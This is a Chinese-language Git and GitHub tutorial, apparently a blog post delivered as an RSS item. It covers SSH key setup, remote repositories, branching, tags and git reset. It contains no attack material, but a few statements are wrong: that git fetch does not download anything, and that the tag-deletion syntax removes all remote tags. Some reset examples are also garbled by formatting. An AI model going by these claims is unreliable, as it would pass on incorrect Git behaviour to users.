&lt;p&gt;🔗看不懂英文或者找不到安装包在哪里的可以用本站自建网盘:&lt;a class=&#34;link&#34; href=&#34;https://cloud.nicht.top/s/e6Un&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;https://cloud.nicht.top/s/e6Un
&lt;span style=&#34;white-space: nowrap;&#34;&gt;&lt;svg width=&#34;.7em&#34;
    height=&#34;.7em&#34; viewBox=&#34;0 0 21 21&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;
    &lt;path d=&#34;m13 3l3.293 3.293l-7 7l1.414 1.414l7-7L21 11V3z&#34; fill=&#34;currentColor&#34; /&gt;
    &lt;path d=&#34;M19 19H5V5h7l-2-2H5c-1.103 0-2 .897-2 2v14c0 1.103.897 2 2 2h14c1.103 0 2-.897 2-2v-5l-2-2v7z&#34;
        fill=&#34;currentColor&#34;&gt;
&lt;/svg&gt;&lt;/span&gt;

&lt;/a&gt;
&lt;/p&gt;
&lt;h2 id=&#34;创建并链接远程仓库&#34;&gt;创建并链接远程仓库
&lt;/h2&gt;&lt;h3 id=&#34;初始化本地仓库&#34;&gt;初始化本地仓库
&lt;/h3&gt;&lt;p&gt;安装好git后在你的本地仓库文件夹右键，点击Open Git Bash here，然后执行以下命令&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;git init
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在本目录下会增加一个.git的隐藏文件夹,存放了git仓库的相关信息&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://www.fufu.me/githubuse/images/github3-e1723436260426.jpg&#34;
	width=&#34;989&#34;
	height=&#34;613&#34;
	srcset=&#34;https://www.fufu.me/githubuse/images/github3-e1723436260426_hu3980170254037957961.jpg 480w, https://www.fufu.me/githubuse/images/github3-e1723436260426_hu11746729485934527622.jpg 1024w&#34;
	loading=&#34;lazy&#34;
	
		alt=&#34;github3-e1723436260426&#34;
	
	
		class=&#34;gallery-image&#34; 
		data-flex-grow=&#34;161&#34;
		data-flex-basis=&#34;387px&#34;
	
&gt;&lt;/p&gt;
&lt;h3 id=&#34;配置用户名和密码&#34;&gt;配置用户名和密码
&lt;/h3&gt;&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;git config --global user.name &amp;lt;用户名&amp;gt;
git config --global user.email &amp;lt;邮箱&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&#34;生成ssh-key密钥&#34;&gt;生成SSH Key密钥
&lt;/h3&gt;&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;ssh-keygen -t rsa -C &amp;lt;邮箱&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;连按三次回车,直到出现SHA-256图像为止&lt;/p&gt;
&lt;p&gt;密钥存放在C:\user\user.name.ssh(linux在~下的.ssh中)文件夹下&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;cat C:/Users/&amp;lt;windows系统用户名&amp;gt;/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa.pub
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果你不知道用户名的话Ctrl+R呼出运行，在窗口中键入cmd回车，然后输入whoami命令&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://www.fufu.me/githubuse/images/github4.png&#34;
	width=&#34;1731&#34;
	height=&#34;1077&#34;
	srcset=&#34;https://www.fufu.me/githubuse/images/github4_hu6561882550531000161.png 480w, https://www.fufu.me/githubuse/images/github4_hu17391131430795539204.png 1024w&#34;
	loading=&#34;lazy&#34;
	
		alt=&#34;github4&#34;
	
	
		class=&#34;gallery-image&#34; 
		data-flex-grow=&#34;160&#34;
		data-flex-basis=&#34;385px&#34;
	
&gt;&lt;/p&gt;
&lt;p&gt;复制所有内容(从ssh-rsa开始到邮箱结尾，图中隐去了我的密钥)&lt;/p&gt;
&lt;h3 id=&#34;配置github密钥&#34;&gt;配置github密钥
&lt;/h3&gt;&lt;p&gt;打开&lt;a class=&#34;link&#34; href=&#34;https://github.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;github
&lt;span style=&#34;white-space: nowrap;&#34;&gt;&lt;svg width=&#34;.7em&#34;
    height=&#34;.7em&#34; viewBox=&#34;0 0 21 21&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;
    &lt;path d=&#34;m13 3l3.293 3.293l-7 7l1.414 1.414l7-7L21 11V3z&#34; fill=&#34;currentColor&#34; /&gt;
    &lt;path d=&#34;M19 19H5V5h7l-2-2H5c-1.103 0-2 .897-2 2v14c0 1.103.897 2 2 2h14c1.103 0 2-.897 2-2v-5l-2-2v7z&#34;
        fill=&#34;currentColor&#34;&gt;
&lt;/svg&gt;&lt;/span&gt;

&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;依次点击:右上角头像 - settings - SSH and GPG keys - New SSH key&lt;/p&gt;
&lt;p&gt;Title是备注，自己取名&lt;/p&gt;
&lt;p&gt;Key:将复制的密钥填入,然后点击Add SSH key&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://www.fufu.me/githubuse/images/github5.png&#34;
	width=&#34;1774&#34;
	height=&#34;850&#34;
	srcset=&#34;https://www.fufu.me/githubuse/images/github5_hu17492929739498893289.png 480w, https://www.fufu.me/githubuse/images/github5_hu10276990732039077958.png 1024w&#34;
	loading=&#34;lazy&#34;
	
		alt=&#34;github5&#34;
	
	
		class=&#34;gallery-image&#34; 
		data-flex-grow=&#34;208&#34;
		data-flex-basis=&#34;500px&#34;
	
&gt;&lt;/p&gt;
&lt;h3 id=&#34;创建github仓库&#34;&gt;创建github仓库
&lt;/h3&gt;&lt;p&gt;&lt;img src=&#34;https://www.fufu.me/githubuse/images/github1.png&#34;
	width=&#34;1803&#34;
	height=&#34;1159&#34;
	srcset=&#34;https://www.fufu.me/githubuse/images/github1_hu7323547299198077052.png 480w, https://www.fufu.me/githubuse/images/github1_hu7311209146321763101.png 1024w&#34;
	loading=&#34;lazy&#34;
	
		alt=&#34;github1&#34;
	
	
		class=&#34;gallery-image&#34; 
		data-flex-grow=&#34;155&#34;
		data-flex-basis=&#34;373px&#34;
	
&gt;&lt;/p&gt;
&lt;p&gt;设定仓库名字和属性(public or private)&lt;/p&gt;
&lt;h3 id=&#34;复制远程仓库的ssh地址&#34;&gt;复制远程仓库的ssh地址
&lt;/h3&gt;&lt;p&gt;&lt;img src=&#34;https://www.fufu.me/githubuse/images/github2.png&#34;
	width=&#34;1816&#34;
	height=&#34;1039&#34;
	srcset=&#34;https://www.fufu.me/githubuse/images/github2_hu8308717754215652796.png 480w, https://www.fufu.me/githubuse/images/github2_hu6555933043051503818.png 1024w&#34;
	loading=&#34;lazy&#34;
	
		alt=&#34;github2&#34;
	
	
		class=&#34;gallery-image&#34; 
		data-flex-grow=&#34;174&#34;
		data-flex-basis=&#34;419px&#34;
	
&gt;&lt;/p&gt;
&lt;h3 id=&#34;本地仓库链接远程仓库&#34;&gt;本地仓库链接远程仓库
&lt;/h3&gt;&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;git remote add &amp;lt;仓库别名(本地)&amp;gt; &amp;lt;仓库的ssh地址&amp;gt;
git remote add origin &amp;lt;仓库的ssh地址&amp;gt;
git remote              #查看仓库别名
git remote -v           #查看本地所有仓库
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&#34;测试链接是否成功&#34;&gt;测试链接是否成功
&lt;/h3&gt;&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;ssh -T git@github.com
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;出现hi+用户名什么的说明链接成功(后面的but GitHub does not provide shell access.意思是github不允许shell交互,不是报错)&lt;/p&gt;
&lt;h3 id=&#34;提交本地仓库中的代码到远程仓库&#34;&gt;提交本地仓库中的代码到远程仓库
&lt;/h3&gt;&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;git add .                #提交本地所有文件
git commit -m &#39;备注&#39;      #添加提交备注
git push -u &amp;lt;仓库别名&amp;gt; &amp;lt;分支名&amp;gt;        #首次提交需要加上后面的参数
git push -u origin main                #一般首次提交到main分支
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&#34;注意&#34;&gt;注意
&lt;/h3&gt;&lt;p&gt;SSH Key每台设备有一份就足够了,可以同时操控多个远程仓库&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&#34;一些常用命令&#34;&gt;一些常用命令
&lt;/h2&gt;&lt;h3 id=&#34;分支&#34;&gt;分支
&lt;/h3&gt;&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;git branch      #获取本地所有分支
git branch -a   #查看所有分支,包括远程分支
git branch -vv  #查看本地分支和它们各自上游分支间的跟踪关系
git branch dev  #创建新分支
git checkout dev    #切换分支
git switch dev  #切换分支的另一个命令
git remote remove origin    #删除指定名字的远程仓库
# 修改分支名称(如果不指定原分支名称则为当前所在分支)
git branch -m main main1
# 强制修改分支名称
git branch -M main main1

# 删除指定的本地分支
git branch -d main
# 强制删除指定的本地分支
git branch -D main
# 远程仓库名修改，本地需要先删除，重新添加

# 查看本地所有仓库
git remote -v
# 删除本地仓库
git remote rm origin 
# 重新添加
git remote add origin &amp;lt;远程仓库链接&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&#34;git-pull&#34;&gt;git pull
&lt;/h3&gt;&lt;p&gt;git pull 命令用于从远程获取代码并合并本地的版本。 git pull 其实就是 git fetch(拉取) 和 git merge(合并) 的简写。 命令格式如下：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;git pull &amp;lt;远程主机名&amp;gt; &amp;lt;远程分支名&amp;gt;:&amp;lt;本地分支名&amp;gt;

示例操作:
# 基本的更新
$ git pull
$ git pull origin

# 将远程主机 origin 的 dev 分支拉取过来，与本地的 main 分支合并。
git pull origin dev:main

# 如果远程分支是与当前分支合并，则冒号后面的部分可以省略。
git pull origin dev
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2 id=&#34;分支管理不使用pull命令进行简易合并&#34;&gt;分支管理(不使用pull命令进行简易合并)
&lt;/h2&gt;&lt;p&gt;[关于fetch,本质是远程仓库与本地仓库的文件进行比较,然后用merge命令合并,其本身并没有下载功能]&lt;/p&gt;
&lt;h3 id=&#34;新建分支本地创建后上传到远程仓库&#34;&gt;新建分支(本地创建后上传到远程仓库)
&lt;/h3&gt;&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;# 从已有的分支创建新的分支(如从main分支), 创建一个dev分支，并切换到dev分支
git checkout -b dev
# 创建完可以查看一下,分支已经切换到dev （会列出所有分支，当前分支的面会有一个*号）
git branch
# 提交dev分支到远程仓库
git push origin dev
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&#34;拉取分支本地创建远程仓库的分支&#34;&gt;拉取分支(本地创建远程仓库的分支)
&lt;/h3&gt;&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;# 把远程分支拉到本地
git fetch origin dev
# 在本地创建分支dev并切换到该分支
git checkout -b dev
# 把某个分支上的内容都拉取到本地
git pull origin dev
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&#34;提交分支提交到第二分支&#34;&gt;提交分支(提交到第二分支)
&lt;/h3&gt;&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;# 首先切换到dev分支上,进行提交推送
git checkout dev
# 推送到dev分支上
git add .
git commit -m ‘dev&#39;
git push -u origin dev
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&#34;合并分支&#34;&gt;合并分支
&lt;/h3&gt;&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;# 首先切换到main分支上
git checkout main
# 如果是多人开发的话 需要把远程main上的代码pull下来
git pull origin main
# 把dev分支的代码合并到master上
git merge dev
# push到远程main上
git push origin main
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&#34;删除分支&#34;&gt;删除分支
&lt;/h3&gt;&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;# 删除本地分支
git branch -d dev
# 删除远程分支
git push &amp;lt;库别名&amp;gt; -d &amp;lt;远程分支&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&#34;分支改名&#34;&gt;分支改名
&lt;/h3&gt;&lt;p&gt;假设分支名称为old,想要修改为new&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;# 本地分支重命名(还没有推送到远程)
git branch -m old new
# 远程分支重命名 (已经推送远程-假设本地分支和远程对应分支名称相同)
# a. 重命名远程分支对应的本地分支

git branch -m old new

# b. 删除远程分支

git push --delete origin old

# c.上传新命名的本地分支

git push origin new

# d.把修改后的本地分支与远程分支关联

git branch --set-upstream-to origin/new

# c和d可以用一句来解决

git push -u origin new

# 若已经关联了远程分支,需要先解除关联
git branch --unset-upstream
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2 id=&#34;标签与版本管理&#34;&gt;标签与版本管理
&lt;/h2&gt;&lt;h3 id=&#34;标签相关命令&#34;&gt;标签相关命令
&lt;/h3&gt;&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;git tag &amp;lt;标签名&amp;gt;           #打标签
git tag                   #查看所有标签
git tag -a &amp;lt;标签名&amp;gt; -m &amp;quot;标签信息&amp;quot;      #打指定标签信息
git checkout &amp;lt;标签名&amp;gt;      #切换到指定标签
git show &amp;lt;标签名&amp;gt;          #查看标签文字说明
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&#34;推送与删除&#34;&gt;推送与删除
&lt;/h3&gt;&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;git push origin &amp;lt;标签名&amp;gt;       #推送标签
git push origin --tags        #一次性推送全部未到达远程的标签名

git tag -d &amp;lt;标签名&amp;gt;            #本地删除
git push origin :refs/tags/&amp;lt;标签名&amp;gt;    #远程删除某个
:refs/tags/ 的语法表示删除远程仓库中的所有标签。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在 Git 中，&lt;code&gt;refs&lt;/code&gt; 是引用（references）的简称。它们是指向特定提交对象的指针。常见的 &lt;code&gt;refs&lt;/code&gt; 包括分支（branches）、标签（tags）和远程引用（remote references）。&lt;/p&gt;
&lt;h3 id=&#34;版本回退&#34;&gt;版本回退
&lt;/h3&gt;&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;# 查看提交的序号，也可以直接在服务器看文件
git log   

# 记得先提交保存
git reset --hard xxx   

# 此时如果用 “git push” 会报错，因为我们本地库HEAD指向的版本比远程库的要旧：
git push -f    #强推

git reset [--soft | --mixed | --hard] [HEAD]
--mixed 为默认，可以不用带该参数，用于重置暂存区的文件与上一次的提交(commit)保持一致，工作区文件内容保持不变。
--soft 参数用于回退到某个版本
--hard 参数撤销工作区中所有未提交的修改内容，将暂存区与工作区都回到上一次版本，并删除之前的所有信息提交
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;git reset命令用于重置当前分支的HEAD到指定的状态，并且可以选择性地重置工作目录和暂存区的内容。它有三个主要选项：&amp;ndash;soft、&amp;ndash;mixed 和 &amp;ndash;hard。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;用法示例&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&amp;ndash;soft（温和）：
仅重置HEAD指针到指定的提交，不改变暂存区和工作目录。
例如，将HEAD指针重置到上一个提交：
git reset &amp;ndash;soft HEAD~1&lt;/li&gt;
&lt;li&gt;&amp;ndash;mixed（默认选项）：
重置HEAD指针到指定的提交，并重置暂存区的内容，但不改变工作目录。
例如，将HEAD指针和暂存区重置到上一个提交：
git reset &amp;ndash;mixed HEAD~1&lt;/li&gt;
&lt;li&gt;&amp;ndash;hard（彻底）：
重置HEAD指针到指定的提交，并重置暂存区和工作目录的内容。
例如，将HEAD指针、暂存区和工作目录重置到上一个提交：
git reset &amp;ndash;hard HEAD~1&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;参数说明&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;HEAD：当前分支的最新提交。&lt;/li&gt;
&lt;li&gt;HEAD~1：当前分支的上一个提交。&lt;/li&gt;
&lt;li&gt;[commit]：可以是任意提交的SHA-1哈希值或引用。
示例说明：
假设当前分支有三个提交，分别是 A、B 和 C，当前HEAD指向 C。
(1). 使用 git reset &amp;ndash;soft HEAD&lt;del&gt;1 后，HEAD指针将指向 B，但 C 的更改仍保留在暂存区。
(2). 使用 git reset &amp;ndash;mixed HEAD&lt;/del&gt;1 后，HEAD指针将指向 B，C 的更改从暂存区移除，但仍保留在工作目录。
(3). 使用 git reset &amp;ndash;hard HEAD~1 后，HEAD指针将指向 B，C 的更改从暂存区和工作目录中移除。&lt;/li&gt;
&lt;/ul&gt;
</description>
        </item>
        
    </channel>
</rss>
